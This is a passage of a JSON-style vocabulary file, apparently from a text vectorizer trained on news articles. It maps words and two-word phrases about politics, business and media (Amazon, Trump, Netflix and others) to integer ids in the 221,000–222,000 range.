\"concept simply\": 221341,\n  \"webdisplayname\": 221342,\n  \"increased importance\": 221343,\n  \"retiring sen\": 221344,\n  \"second world\": 221345,\n  \"critical post\": 221346,\n  \"marketing central\": 221347,\n  \"office relationship\": 221348,\n  \"camera skills\": 221349,\n  \"saul loeb\": 221350,\n  \"better place\": 221351,\n  \"delivery earlier\": 221352,\n  \"winery run\": 221353,\n  \"clayton lewis\": 221354,\n  \"graduation speech\": 221355,\n  \"cuar\\u00f3n intricate\": 221356,\n  \"fed problem\": 221357,\n  \"forces driving\": 221358,\n  \"zimmerman\": 221359,\n  \"concern expressed\": 221360,\n  \"katya apekina\": 221361,\n  \"votes en\": 221362,\n  \"netflix special\": 221363,\n  \"jbg\": 221364,\n  \"vix\": 221365,\n  \"page ranked\": 221366,\n  \"korea efforts\": 221367,\n  \"fulfill high\": 221368,\n  \"rozic\": 221369,\n  \"include showtime\": 221370,\n  \"cultural differences\": 221371,\n  \"better protection\": 221372,\n  \"broadsheet\": 221373,\n  \"airworthiness\": 221374,\n  \"brands rush\": 221375,\n  \"sanders accepted\": 221376,\n  \"mountable surge\": 221377,\n  \"sally field\": 221378,\n  \"cratchit\": 221379,\n  \"workplaces experienced\": 221380,\n  \"moser gentleman\": 221381,\n  \"partially determined\": 221382,\n  \"health knowledge\": 221383,\n  \"instead lawmakers\": 221384,\n  \"motorcade\": 221385,\n  \"sparks conversation\": 221386,\n  \"recording martha\": 221387,\n  \"week ceo\": 221388,\n  \"critical information\": 221389,\n  \"services produced\": 221390,\n  \"trademark backlash\": 221391,\n  \"gumming\": 221392,\n  \"retirement plans\": 221393,\n  \"thailand south\": 221394,\n  \"000 deportation\": 221395,\n  \"hacked emails\": 221396,\n  \"handle\": 221397,\n  \"financial accounting\": 221398,\n  \"told fortune\": 221399,\n  \"spiritual\": 221400,\n  \"heads spin\": 221401,\n  \"earnin report\": 221402,\n  \"media festival\": 221403,\n  \"noncash stock\": 221404,\n  \"republicans used\": 221405,\n  \"believe aws\": 221406,\n  \"street publishing\": 221407,\n  \"2017 ipo\": 221408,\n  \"unauthorized\": 221409,\n  \"famously broke\": 221410,\n  \"current residents\": 221411,\n  \"fbi national\": 221412,\n  \"decade according\": 221413,\n  \"opioid addictions\": 221414,\n  \"send entire\": 221415,\n  \"mta transformation\": 221416,\n  \"change tightening\": 221417,\n  \"content illegal\": 221418,\n  \"americanprogress\": 221419,\n  \"central america\": 221420,\n  \"operations svp\": 221421,\n  \"tech giant\": 221422,\n  \"period tells\": 221423,\n  \"burlesque\": 221424,\n  \"schar\": 221425,\n  \"additionally president\": 221426,\n  \"new drone\": 221427,\n  \"college tuck\": 221428,\n  \"just cut\": 221429,\n  \"corporate activism\": 221430,\n  \"fantasies achieved\": 221431,\n  \"government case\": 221432,\n  \"prompted lawsuit\": 221433,\n  \"stormproof matches\": 221434,\n  \"moving online\": 221435,\n  \"relatively unknown\": 221436,\n  \"developed consumer\": 221437,\n  \"column accusing\": 221438,\n  \"post dispatch\": 221439,\n  \"uncomfy\": 221440,\n  \"lost command\": 221441,\n  \"cramer know\": 221442,\n  \"beauty bar\": 221443,\n  \"contracts involving\": 221444,\n  \"fuck\": 221445,\n  \"distribution company\": 221446,\n  \"hands scampering\": 221447,\n  \"start preparing\": 221448,\n  \"grandmother home\": 221449,\n  \"detailed concerns\": 221450,\n  \"potentially lead\": 221451,\n  \"starkest\": 221452,\n  \"trump americans\": 221453,\n  \"aggressive marketing\": 221454,\n  \"causes supported\": 221455,\n  \"ruling party\": 221456,\n  \"create dangerous\": 221457,\n  \"david dodd\": 221458,\n  \"ordered online\": 221459,\n  \"taxing\": 221460,\n  \"lore president\": 221461,\n  \"erotic\": 221462,\n  \"thought american\": 221463,\n  \"xbox amazon\": 221464,\n  \"company latest\": 221465,\n  \"recent partnership\": 221466,\n  \"certainly yearns\": 221467,\n  \"house hopeful\": 221468,\n  \"ended grocery\": 221469,\n  \"2018 leave\": 221470,\n  \"trapped\": 221471,\n  \"huge tax\": 221472,\n  \"stunned washington\": 221473,\n  \"sgn\": 221474,\n  \"don yaeger\": 221475,\n  \"know credit\": 221476,\n  \"signals difficult\": 221477,\n  \"ceid\": 221478,\n  \"trump netflix\": 221479,\n  \"impactful support\": 221480,\n  \"1990s\": 221481,\n  \"lea hall\": 221482,\n  \"cnbc television\": 221483,\n  \"address fully\": 221484,\n  \"putting spotlight\": 221485,\n  \"real contenders\": 221486,\n  \"turkey designation\": 221487,\n  \"178bn 139bn\": 221488,\n  \"z4a k4a\": 221489,\n  \"usps carell\": 221490,\n  \"jake tapper\": 221491,\n  \"alibaba group\": 221492,\n  \"buy reports\": 221493,\n  \"alleged instances\": 221494,\n  \"prominent nonmainstream\": 221495,\n  \"1973 killing\": 221496,\n  \"janet yellen\": 221497,\n  \"self righteously\": 221498,\n  \"whisked lauren\": 221499,\n  \"plans national\": 221500,\n  \"fernando alvarez\": 221501,\n  \"way 2018\": 221502,\n  \"offer partners\": 221503,\n  \"unbelievable jobs\": 221504,\n  \"star adult\": 221505,\n  \"reuters pic\": 221506,\n  \"slight\": 221507,\n  \"man patents\": 221508,\n  \"irony source\": 221509,\n  \"small chains\": 221510,\n  \"kdaly politico\": 221511,\n  \"illustration ky\": 221512,\n  \"2018 democrats\": 221513,\n  \"snuff\": 221514,\n  \"paid wages\": 221515,\n  \"accurately talk\": 221516,\n  \"cites administration\": 221517,\n  \"shameful disturbing\": 221518,\n  \"certainly tries\": 221519,\n  \"admission\": 221520,\n  \"los angeles\": 221521,\n  \"rate partially\": 221522,\n  \"post separately\": 221523,\n  \"krispy kreme\": 221524,\n  \"saaristo\": 221525,\n  \"goldwater\": 221526,\n  \"medium prefer\": 221527,\n  \"modest considering\": 221528,\n  \"various measures\": 221529,\n  \"fully expect\": 221530,\n  \"otto\": 221531,\n  \"main issues\": 221532,\n  \"tricky\": 221533,\n  \"losers 2018\": 221534,\n  \"rock hill\": 221535,\n  \"amazon tweeted\": 221536,\n  \"president business\": 221537,\n  \"president impeached\": 221538,\n  \"vendors sell\": 221539,\n  \"prominent role\": 221540,\n  \"firewalled\": 221541,\n  \"ibm carried\": 221542,\n  \"film production\": 221543,\n  \"freighter service\": 221544,\n  \"rising popularity\": 221545,\n  \"worth \\u014273billion\": 221546,\n  \"plant half\": 221547,\n  \"harder hit\": 221548,\n  \"likeable\": 221549,\n  \"emergency specifically\": 221550,\n  \"development project\": 221551,\n  \"reddit wallstreetbets\": 221552,\n  \"profit incentive\": 221553,\n  \"art gallery\": 221554,\n  \"shelled\": 221555,\n  \"watchdog citing\": 221556,\n  \"romantic\": 221557,\n  \"griffith moon\": 221558,\n  \"withdraw troops\": 221559,\n  \"prices low\": 221560,\n  \"vaughn\": 221561,\n  \"300 job\": 221562,\n  \"staggeringly large\": 221563,\n  \"000 employees\": 221564,\n  \"obligations recommendations\": 221565,\n  \"md\": 221566,\n  \"surged 129\": 221567,\n  \"necessarily mean\": 221568,\n  \"increased costs\": 221569,\n  \"largest casinos\": 221570,\n  \"long past\": 221571,\n  \"drain assuredly\": 221572,\n  \"newsnatasha\": 221573,\n  \"dwindling\": 221574,\n  \"speeches tweets\": 221575,\n  \"corporatist handouts\": 221576,\n  \"shipping goods\": 221577,\n  \"career took\": 221578,\n  \"s5 2018\": 221579,\n  \"craft pot\": 221580,\n  \"scouring\": 221581,\n  \"soft policy\": 221582,\n  \"triad international\": 221583,\n  \"guardian turning\": 221584,\n  \"growing awareness\": 221585,\n  \"shipment\": 221586,\n  \"temer administration\": 221587,\n  \"today tweets\": 221588,\n  \"929\": 221589,\n  \"posthumous\": 221590,\n  \"similar tribunal\": 221591,\n  \"series tackles\": 221592,\n  \"welcomed rich\": 221593,\n  \"argentina\": 221594,\n  \"madman\": 221595,\n  \"place don\": 221596,\n  \"required frequency\": 221597,\n  \"hala\": 221598,\n  \"mackenzie public\": 221599,\n  \"books trillium\": 221600,\n  \"energy resources\": 221601,\n  \"quartz\": 221602,\n  \"leadership meeting\": 221603,\n  \"story despite\": 221604,\n  \"alabama tornado\": 221605,\n  \"based solely\": 221606,\n  \"speaker immigrants\": 221607,\n  \"quite simply\": 221608,\n  \"peeing\": 221609,\n  \"connolly released\": 221610,\n  \"emily charlton\": 221611,\n  \"merely warp\": 221612,\n  \"usa vendors\": 221613,\n  \"amazon america\": 221614,\n  \"germany\": 221615,\n  \"competitively low\": 221616,\n  \"post unnamed\": 221617,\n  \"doing question\": 221618,\n  \"iran vice\": 221619,\n  \"contributed 700\": 221620,\n  \"muddy brown\": 221621,\n  \"love lost\": 221622,\n  \"indians black\": 221623,\n  \"murky timeline\": 221624,\n  \"hide read\": 221625,\n  \"effort underway\": 221626,\n  \"listings multiple\": 221627,\n  \"6th\": 221628,\n  \"oprah current\": 221629,\n  \"directorate\": 221630,\n  \"gardens britain\": 221631,\n  \"boring company\": 221632,\n  \"performances encourage\": 221633,\n  \"rich client\": 221634,\n  \"career changed\": 221635,\n  \"age limit\": 221636,\n  \"rank hold\": 221637,\n  \"using celsius\": 221638,\n  \"opportunity fund\": 221639,\n  \"professional history\": 221640,\n  \"bloc amid\": 221641,\n  \"carousels\": 221642,\n  \"sustainable investment\": 221643,\n  \"subsidized\": 221644,\n  \"google ibm\": 221645,\n  \"includes reports\": 221646,\n  \"walmart bought\": 221647,\n  \"expansion early\": 221648,\n  \"wyoming state\": 221649,\n  \"apparel group\": 221650,\n  \"include esl\": 221651,\n  \"temporarily shut\": 221652,\n  \"shufersal\": 221653,\n  \"lifestyle jan\": 221654,\n  \"vengeful\": 221655,\n  \"uae intelligence\": 221656,\n  \"bristlecone\": 221657,\n  \"burns amy\": 221658,\n  \"defray\": 221659,\n  \"hle parts\": 221660,\n  \"wings\": 221661,\n  \"giveaway voters\": 221662,\n  \"deliver merchandise\": 221663,\n  \"sgf boko\": 221664,\n  \"example gizmodo\": 221665,\n  \"violence repression\": 221666,\n  \"father decorated\": 221667,\n  \"feather floating\": 221668,\n  \"chairman sen\": 221669,\n  \"case death\": 221670,\n  \"firstnet buildout\": 221671,\n  \"people away\": 221672,\n  \"extremely expensive\": 221673,\n  \"depths\": 221674,\n  \"suggests trump\": 221675,\n  \"unfair instead\": 221676,\n  \"trump wealthy\": 221677,\n  \"informed readers\": 221678,\n  \"finally baby\": 221679,\n  \"osinski\": 221680,\n  \"street west\": 221681,\n  \"propagandist\": 221682,\n  \"illinois playbook\": 221683,\n  \"polling data\": 221684,\n  \"iconimageurl\": 221685,\n  \"represents potentially\": 221686,\n  \"grint stars\": 221687,\n  \"common property\": 221688,\n  \"building modern\": 221689,\n  \"hottest celebrity\": 221690,\n  \"contracts storing\": 221691,\n  \"mutually agreed\": 221692,\n  \"alphabet googl\": 221693,\n  \"medellin\": 221694,\n  \"pretentious\": 221695,\n  \"agenda aaron\": 221696,\n  \"policy research\": 221697,\n  \"pape mailbag\": 221698,\n  \"yeti jack\": 221699,\n  \"toothless outside\": 221700,\n  \"possibly\": 221701,\n  \"john tory\": 221702,\n  \"time travelling\": 221703,\n  \"towleroad tlrd\": 221704,\n  \"meets senate\": 221705,\n  \"charles schumer\": 221706,\n  \"decision sets\": 221707,\n  \"steve delbianco\": 221708,\n  \"hall miners\": 221709,\n  \"atp\": 221710,\n  \"jamie dettmer\": 221711,\n  \"ally reflect\": 221712,\n  \"owns 850\": 221713,\n  \"depressed\": 221714,\n  \"targets iran\": 221715,\n  \"anil silva\": 221716,\n  \"congressional inquiry\": 221717,\n  \"trump george\": 221718,\n  \"different takes\": 221719,\n  \"announced prior\": 221720,\n  \"77482 s7a\": 221721,\n  \"going straight\": 221722,\n  \"claimed seemingly\": 221723,\n  \"rogers\": 221724,\n  \"close missouri\": 221725,\n  \"whenthey\": 221726,\n  \"strays far\": 221727,\n  \"costume mocking\": 221728,\n  \"published articles\": 221729,\n  \"flying allegations\": 221730,\n  \"krauthammer charles\": 221731,\n  \"jost dismissed\": 221732,\n  \"courting advertisers\": 221733,\n  \"shipping work\": 221734,\n  \"clearly links\": 221735,\n  \"knew mccabe\": 221736,\n  \"probably going\": 221737,\n  \"ba80967b7e99 covering\": 221738,\n  \"fla high\": 221739,\n  \"mark manson\": 221740,\n  \"industry think\": 221741,\n  \"acquisition process\": 221742,\n  \"overhaul permanent\": 221743,\n  \"singapore\": 221744,\n  \"week claiming\": 221745,\n  \"mind body\": 221746,\n  \"final numbers\": 221747,\n  \"queens despite\": 221748,\n  \"claims includes\": 221749,\n  \"chase nyse\": 221750,\n  \"concerning studies\": 221751,\n  \"hatred\": 221752,\n  \"city community\": 221753,\n  \"month going\": 221754,\n  \"chapter ben\": 221755,\n  \"statement recommended\": 221756,\n  \"2018 jeffbezos\": 221757,\n  \"federal corruption\": 221758,\n  \"acquired check\": 221759,\n  \"steadman check\": 221760,\n  \"health approach\": 221761,\n  \"bankers\": 221762,\n  \"trump highlighted\": 221763,\n  \"violations president\": 221764,\n  \"wirth chevron\": 221765,\n  \"campaign carlos\": 221766,\n  \"rattle\": 221767,\n  \"actually rose\": 221768,\n  \"organizations critical\": 221769,\n  \"service decline\": 221770,\n  \"wait till\": 221771,\n  \"funds reddit\": 221772,\n  \"29m\": 221773,\n  \"tail platform\": 221774,\n  \"shared buildings\": 221775,\n  \"skymed photo\": 221776,\n  \"automatic weapons\": 221777,\n  \"stopped\": 221778,\n  \"media negatively\": 221779,\n  \"walker trump\": 221780,\n  \"primary clothes\": 221781,\n  \"foreign policy\": 221782,\n  \"value investors\": 221783,\n  \"new position\": 221784,\n  \"welcome new\": 221785,\n  \"unilateral\": 221786,\n  \"collecting rents\": 221787,\n  \"pentagon decided\": 221788,\n  \"hints\": 221789,\n  \"short users\": 221790,\n  \"memorabilia books\": 221791,\n  \"ask\": 221792,\n  \"000 words\": 221793,\n  \"massive reduction\": 221794,\n  \"slightly improved\": 221795,\n  \"cramer mean\": 221796,\n  \"congress finally\": 221797,\n  \"migrants moving\": 221798,\n  \"post shown\": 221799,\n  \"southern florida\": 221800,\n  \"twitter yesterday\": 221801,\n  \"unitedhealthcare\": 221802,\n  \"w8 o2x\": 221803,\n  \"proposes potentially\": 221804,\n  \"story worlds\": 221805,\n  \"security fair\": 221806,\n  \"melissa joan\": 221807,\n  \"real education\": 221808,\n  \"lottery amazon\": 221809,\n  \"bezos argued\": 221810,\n  \"joyful grateful\": 221811,\n  \"weather tell\": 221812,\n  \"fda controversial\": 221813,\n  \"leave unless\": 221814,\n  \"quickly carried\": 221815,\n  \"policies best\": 221816,\n  \"chief rival\": 221817,\n  \"attacked left\": 221818,\n  \"barely democrat\": 221819,\n  \"arson\": 221820,\n  \"board sat\": 221821,\n  \"scholars long\": 221822,\n  \"worth roughly\": 221823,\n  \"fixed incomes\": 221824,\n  \"subsidiaries\": 221825,\n  \"scarff trump\": 221826,\n  \"global total\": 221827,\n  \"american neighborhood\": 221828,\n  \"foods clearly\": 221829,\n  \"immigrant bills\": 221830,\n  \"publicly distance\": 221831,\n  \"business sense\": 221832,\n  \"women peace\": 221833,\n  \"weapons bolsonaro\": 221834,\n  \"possible house\": 221835,\n  \"ebay best\": 221836,\n  \"protected words\": 221837,\n  \"political figures\": 221838,\n  \"overdue president\": 221839,\n  \"hbo trump\": 221840,\n  \"sleeping giant\": 221841,\n  \"feel ripped\": 221842,\n  \"ara\\u00fajo\": 221843,\n  \"personal\": 221844,\n  \"today accused\": 221845,\n  \"fine trade\": 221846,\n  \"pros stock\": 221847,\n  \"visa\": 221848,\n  \"000 wiped\": 221849,\n  \"auburndale bay\": 221850,\n  \"need design\": 221851,\n  \"hear bezos\": 221852,\n  \"wexton\": 221853,\n  \"captive logistics\": 221854,\n  \"service netflix\": 221855,\n  \"somee bitchute\": 221856,\n  \"grassley unfortunately\": 221857,\n  \"karen mcdougal\": 221858,\n  \"140 564\": 221859,\n  \"corporations want\": 221860,\n  \"promote liberal\": 221861,\n  \"months twitter\": 221862,\n  \"honor american\": 221863,\n  \"electronics giant\": 221864,\n  \"question don\": 221865,\n  \"theft isn\": 221866,\n  \"law president\": 221867,\n  \"vt bob\": 221868,\n  \"continued learning\": 221869,\n  \"world gripe\": 221870,\n  \"article portfolio\": 221871,\n  \"political representation\": 221872,\n  \"expressing trepidation\": 221873,\n  \"amazon dod\": 221874,\n  \"austin meet\": 221875,\n  \"faced increased\": 221876,\n  \"incredibles cast\": 221877,\n  \"profession\": 221878,\n  \"gig workers\": 221879,\n  \"soon exit\": 221880,\n  \"initiatives boosted\": 221881,\n  \"week following\": 221882,\n  \"china opposes\": 221883,\n  \"riggs left\": 221884,\n  \"justice efforts\": 221885,\n  \"save 200\": 221886,\n  \"poses threats\": 221887,\n  \"ice systems\": 221888,\n  \"accuse trump\": 221889,\n  \"member florida\": 221890,\n  \"industry stocks\": 221891,\n  \"divided equally\": 221892,\n  \"penitentiary\": 221893,\n  \"severely\": 221894,\n  \"christian nonprofit\": 221895,\n  \"direct competitor\": 221896,\n  \"questionable behavior\": 221897,\n  \"traditional delivery\": 221898,\n  \"blockchain council\": 221899,\n  \"citing disappearing\": 221900,\n  \"items written\": 221901,\n  \"virginia ap\": 221902,\n  \"solution traditional\": 221903,\n  \"kafka open\": 221904,\n  \"workers suicide\": 221905,\n  \"stopped returning\": 221906,\n  \"true img_reusableflag\": 221907,\n  \"reverberated far\": 221908,\n  \"feuded publicly\": 221909,\n  \"plus portion\": 221910,\n  \"hasn elevated\": 221911,\n  \"rep tim\": 221912,\n  \"operations sackler\": 221913,\n  \"border emergency\": 221914,\n  \"asked forbezos\": 221915,\n  \"recaps\": 221916,\n  \"dollars stand\": 221917,\n  \"right gary\": 221918,\n  \"panther slash\": 221919,\n  \"victims little\": 221920,\n  \"alliance defending\": 221921,\n  \"family reckoning\": 221922,\n  \"agrochemicals\": 221923,\n  \"year did\": 221924,\n  \"automated counterfeit\": 221925,\n  \"dorie dorie\": 221926,\n  \"cause actual\": 221927,\n  \"preference right\": 221928,\n  \"tremaine\": 221929,\n  \"good investment\": 221930,\n  \"potentially breaking\": 221931,\n  \"consultation\": 221932,\n  \"personalization hank\": 221933,\n  \"did billion\": 221934,\n  \"life dinners\": 221935,\n  \"honorees\": 221936,\n  \"ignoring trump\": 221937,\n  \"mission critical\": 221938,\n  \"dino experts\": 221939,\n  \"ppb\": 221940,\n  \"338\": 221941,\n  \"financials\": 221942,\n  \"title jeff\": 221943,\n  \"conceptually pomp\": 221944,\n  \"major construction\": 221945,\n  \"paige hosts\": 221946,\n  \"intrigue hmm\": 221947,\n  \"doing exactly\": 221948,\n  \"line corporate\": 221949,\n  \"amazon believes\": 221950,\n  \"mouths\": 221951,\n  \"column pro\": 221952,\n  \"buy intel\": 221953,\n  \"doherty patrick\": 221954,\n  \"electrical engineering\": 221955,\n  \"associates deliberately\": 221956,\n  \"onadplay\": 221957,\n  \"z\\u00e9lie tries\": 221958,\n  \"wong public\": 221959,\n  \"stay cheap\": 221960,\n  \"netflix series\": 221961,\n  \"company controls\": 221962,\n  \"training tools\": 221963,\n  \"exas northern\": 221964,\n  \"owners shira\": 221965,\n  \"flee\": 221966,\n  \"carrell smirks\": 221967,\n  \"massive investment\": 221968,\n  \"tabloid news\": 221969,\n  \"subsidies millennials\": 221970,\n  \"entirely foreseeable\": 221971,\n  \"study looked\": 221972,\n  \"offer specialized\": 221973,\n  \"false story\": 221974,\n  \"mail investigation\": 221975,\n  \"fellow party\": 221976,\n  \"plump\": 221977,\n  \"recycling center\": 221978,\n  \"troll president\": 221979,\n  \"russia election\": 221980,\n  \"america depending\": 221981,\n  \"forbes contributor\": 221982,\n  \"ecosystem coupled\": 221983,\n  \"7j1gyvrsrt\": 221984,\n  \"dailytrust\": 221985,\n  \"cristinaalesci\": 221986,\n  \"wrapping presents\": 221987,\n  \"relations remain\": 221988,\n  \"new strategic\": 221989,\n  \"ish dinner\": 221990,\n  \"1q loss\": 221991,\n  \"bezos longtime\": 221992,\n  \"alleged shadow\": 221993,\n  \"amazon commits\": 221994,\n  \"sanchez speculation\": 221995,\n  \"canaccord genuity\": 221996,\n  \"issues competing\": 221997,\n  \"high rents\": 221998,\n  \"prostitution trump\": 221999,\n  \"withhold pay\": 222000,\n  \"local cloud\": 222001,\n  \"vance harper\": 222002,\n  \"ceo mathias\": 222003,\n  \"vinnie\": 222004,\n  \"doen\": 222005,\n  \"0x367 uploaded_files\": 222006,\n  \"credit presidents\": 222007,\n  \"left raise\": 222008,\n  \"violent loggers\": 222009,\n  \"child making\": 222010,\n  \"press coverage\": 222011,\n  \"killer amazon\": 222012,\n  \"certain titles\": 222013,\n  \"sellers vestager\": 222014,\n  \"renovating\": 222015,\n  \"affronts\": 222016,\n  \"stiletto knife\": 222017,\n  \"marine\": 222018,\n  \"maturity\": 222019,\n  \"recruiting teenagers\": 222020,\n  \"chicago public\": 222021,\n  \"marijuana companies\": 222022,\n  \"fanatical ravings\": 222023,\n  \"carriers selling\": 222024,\n  \"offer services\": 222025,\n  \"aggressively investigate\": 222026,\n  \"president goal\": 222027,\n  \"locating facilities\": 222028,\n  \"ohio new\": 222029,\n  \"chain management\": 222030,\n  \"expected celebrations\": 222031,\n  \"inciteful\": 222032,\n  \"amazon reputation\": 222033,\n  \"certainly drastic\": 222034,\n  \"illumination variations\": 222035,\n  \"housing improvements\": 222036,\n  \"anti corporatism\": 222037,\n  \"duboff senior\": 222038,\n  \"offers selective\": 222039,\n  \"illicit scheme\": 222040,\n  \"suicide attempts\": 222041,\n  \"officially prime\": 222042,\n  \"mccabe doj\": 222043,\n  \"senate majority\": 222044,\n  \"war brewing\": 222045,\n  \"quickly shifted\": 222046,\n  \"developing country\": 222047,\n  \"000 high\": 222048,\n  \"carpets\": 222049,\n  \"canadian prime\": 222050,\n  \"negative force\": 222051,\n  \"british comedy\": 222052,\n  \"duped dewey\": 222053,\n  \"morning superintendent\": 222054,\n  \"slash guns\": 222055,\n  \"newspaper editor\": 222056,\n  \"owners separated\": 222057,\n  \"directors linkedin\": 222058,\n  \"source\": 222059,\n  \"core applications\": 222060,\n  \"programming\": 222061,\n  \"cool melissa\": 222062,\n  \"nanosecond\": 222063,\n  \"discharges inside\": 222064,\n  \"fla\": 222065,\n  \"investigative fellow\": 222066,\n  \"malls retail\": 222067,\n  \"kingdom sent\": 222068,\n  \"nordstrom jwn\": 222069,\n  \"profits monopoly\": 222070,\n  \"newspaper michael\": 222071,\n  \"hunt read\": 222072,\n  \"mail tended\": 222073,\n  \"clashes\": 222074,\n  \"supposedly stingy\": 222075,\n  \"day ideally\": 222076,\n  \"corporate world\": 222077,\n  \"huge seizure\": 222078,\n  \"b2c\": 222079,\n  \"wikipedia page\": 222080,\n  \"ownership pecker\": 222081,\n  \"free charles\": 222082,\n  \"previously reported\": 222083,\n  \"company cash\": 222084,\n  \"loopholes according\": 222085,\n  \"company immensely\": 222086,\n  \"indianapolis read\": 222087,\n  \"fourteen twitter\": 222088,\n  \"guidelines\": 222089,\n  \"privacy\": 222090,\n  \"world wildlife\": 222091,\n  \"hideaways\": 222092,\n  \"rope\": 222093,\n  \"global journey\": 222094,\n  \"news poll\": 222095,\n  \"government pressure\": 222096,\n  \"death certificate\": 222097,\n  \"voice award\": 222098,\n  \"930\": 222099,\n  \"seattle area\": 222100,\n  \"persuaded\": 222101,\n  \"payday lender\": 222102,\n  \"kushal nahata\": 222103,\n  \"act lowered\": 222104,\n  \"need change\": 222105,\n  \"faced similar\": 222106,\n  \"total bias\": 222107,\n  \"provisions including\": 222108,\n  \"mind imageurl\": 222109,\n  \"company says\": 222110,\n  \"care venture\": 222111,\n  \"877 836\": 222112,\n  \"immigrant disaster\": 222113,\n  \"studiously ignores\": 222114,\n  \"type hinting\": 222115,\n  \"stock\": 222116,\n  \"read faang\": 222117,\n  \"entirely factual\": 222118,\n  \"story drugmakers\": 222119,\n  \"president ronald\": 222120,\n  \"teacher nurse\": 222121,\n  \"called kidman\": 222122,\n  \"household income\": 222123,\n  \"amortization expense\": 222124,\n  \"advicesaying\": 222125,\n  \"republicans assaults\": 222126,\n  \"scandal online\": 222127,\n  \"internet economy\": 222128,\n  \"crazy whowould\": 222129,\n  \"rung communicated\": 222130,\n  \"associate administrator\": 222131,\n  \"clone\": 222132,\n  \"warnermedia\": 222133,\n  \"comparison site\": 222134,\n  \"management policy\": 222135,\n  \"aisle putting\": 222136,\n  \"aws provided\": 222137,\n  \"leviathan\": 222138,\n  \"million daca\": 222139,\n  \"expectation\": 222140,\n  \"2010 2014elections\": 222141,\n  \"luxury pen\": 222142,\n  \"180 katsu\": 222143,\n  \"channels including\": 222144,\n  \"thinks companies\": 222145,\n  \"lose sight\": 222146,\n  \"boycottamazon\": 222147,\n  \"george washington\": 222148,\n  \"russians learn\": 222149,\n  \"financial boon\": 222150,\n  \"owners staff\": 222151,\n  \"swing house\": 222152,\n  \"exposed michael\": 222153,\n  \"campaign according\": 222154,\n  \"referendum proposal\": 222155,\n  \"america trump\": 222156,\n  \"dear america\": 222157,\n  \"rudimentary brain\": 222158,\n  \"accountability measures\": 222159,\n  \"past officials\": 222160,\n  \"atlantic website\": 222161,\n  \"profound role\": 222162,\n  \"leonid\": 222163,\n  \"recorded 100\": 222164,\n  \"poems\": 222165,\n  \"mea\": 222166,\n  \"trigiani\": 222167,\n  \"separate brands\": 222168,\n  \"beijing based\": 222169,\n  \"shares jump\": 222170,\n  \"republicanism hot\": 222171,\n  \"flogged\": 222172,\n  \"primarily uses\": 222173,\n  \"dems plan\": 222174,\n  \"party celebrating\": 222175,\n  \"deluxe\": 222176,\n  \"new split\": 222177,\n  \"democracy requires\": 222178,\n  \"scourge\": 222179,\n  \"story amazon\": 222180,\n  \"cryptic messages\": 222181,\n  \"maker ari\": 222182,\n  \"certain workloads\": 222183,\n  \"shipments utilizing\": 222184,\n  \"examinations\": 222185,\n  \"000 fully\": 222186,\n  \"texas midterms\": 222187,\n  \"traders decided\": 222188,\n  \"amazon headquarters\": 222189,\n  \"footage group\": 222190,\n  \"outstanding reporting\": 222191,\n  \"development teams\": 222192,\n  \"successfully landing\": 222193,\n  \"self insured\": 222194,\n  \"children holocaust\": 222195,\n  \"tedious\": 222196,\n  \"releasing 000\": 222197,\n  \"reputation amazon\": 222198,\n  \"distant memory\": 222199,\n  \"ool\": 222200,\n  \"venezuela crisis\": 222201,\n  \"grudge holder\": 222202,\n  \"ami claim\": 222203,\n  \"1152et\": 222204,\n  \"internet tax\": 222205,\n  \"jack whitehall\": 222206,\n  \"biettetimmons\": 222207,\n  \"issues cropping\": 222208,\n  \"children north\": 222209,\n  \"greenland iceberg\": 222210,\n  \"oecd organization\": 222211,\n  \"confidence\": 222212,\n  \"wide\": 222213,\n  \"opioid overdose\": 222214,\n  \"employees number\": 222215,\n  \"2005 reverse\": 222216,\n  \"quickly mobilized\": 222217,\n  \"passes new\": 222218,\n  \"course converting\": 222219,\n  \"abramowitz told\": 222220,\n  \"grief frank\": 222221,\n  \"year hiatus\": 222222,\n  \"infidelity\": 222223,\n  \"plattsburgh\": 222224,\n  \"northfield\": 222225,\n  \"avoid government\": 222226,\n  \"milk street\": 222227,\n  \"scientists lsd\": 222228,\n  \"advisor explains\": 222229,\n  \"forces policies\": 222230,\n  \"long opioid\": 222231,\n  \"uniforms fueling\": 222232,\n  \"local issues\": 222233,\n  \"wife did\": 222234,\n  \"suffer pompeo\": 222235,\n  \"various unspecified\": 222236,\n  \"ryan gop\": 222237,\n  \"life assurance\": 222238,\n  \"brief explanation\": 222239,\n  \"0x734 uploaded_files\": 222240,\n  \"doesn believe\": 222241,\n  \"tracker poll\": 222242,\n  \"immediate expensing\": 222243,\n  \"brandemonium conference\": 222244,\n  \"right tweaks\": 222245,\n  \"randomly joke\": 222246,\n  \"montreal canada\": 222247,\n  \"crude\": 222248,\n  \"adore\": 222249,\n  \"keywords impeach\": 222250,\n  \"competition fair\": 222251,\n  \"twitter abuse\": 222252,\n  \"stage discussions\": 222253,\n  \"article small\": 222254,\n  \"prevented\": 222255,\n  \"kaitlan collins\": 222256,\n  \"maricopa county\": 222257,\n  \"writes cjr\": 222258,\n  \"amazon officials\": 222259,\n  \"obama campaigns\": 222260,\n  \"begun initiatives\": 222261,\n  \"store 800\": 222262,\n  \"sure michael\": 222263,\n  \"appreciating books\": 222264,\n  \"t0 try\": 222265,\n  \"developments signify\": 222266,\n  \"fedex ground\": 222267,\n  \"reveal exactly\": 222268,\n  \"advocacy arm\": 222269,\n  \"stop calling\": 222270,\n  \"request showing\": 222271,\n  \"sun sentinel\": 222272,\n  \"journalist jonah\": 222273,\n  \"hiding\": 222274,\n  \"saudi royal\": 222275,\n  \"talks incredibles\": 222276,\n  \"open seats\": 222277,\n  \"profits instead\": 222278,\n  \"carbon netflix\": 222279,\n  \"forbesimg\": 222280,\n  \"limits\": 222281,\n  \"equal headquarters\": 222282,\n  \"easter road\": 222283,\n  \"season debuted\": 222284,\n  \"india business\": 222285,\n  \"towel\": 222286,\n  \"provide desantis\": 222287,\n  \"trump kissing\": 222288,\n  \"threatened\": 222289,\n  \"firm new\": 222290,\n  \"world fair\": 222291,\n  \"great documentaries\": 222292,\n  \"underway check\": 222293,\n  \"later rejected\": 222294,\n  \"rich popular\": 222295,\n  \"air announced\": 222296,\n  \"flipboard view\": 222297,\n  \"schedule things\": 222298,\n  \"swenson\": 222299,\n  \"relations egypt\": 222300,\n  \"chairman comments\": 222301,\n  \"running stores\": 222302,\n  \"daly briandalynj\": 222303,\n  \"twitter utm_content\": 222304,\n  \"says citi\": 222305,\n  \"grab bag\": 222306,\n  \"wrote billionaires\": 222307,\n  \"sanders remarks\": 222308,\n  \"democratic colleague\": 222309,\n  \"qualcomm\": 222310,\n  \"market coverage\": 222311,\n  \"component parts\": 222312,\n  \"oilpatch interests\": 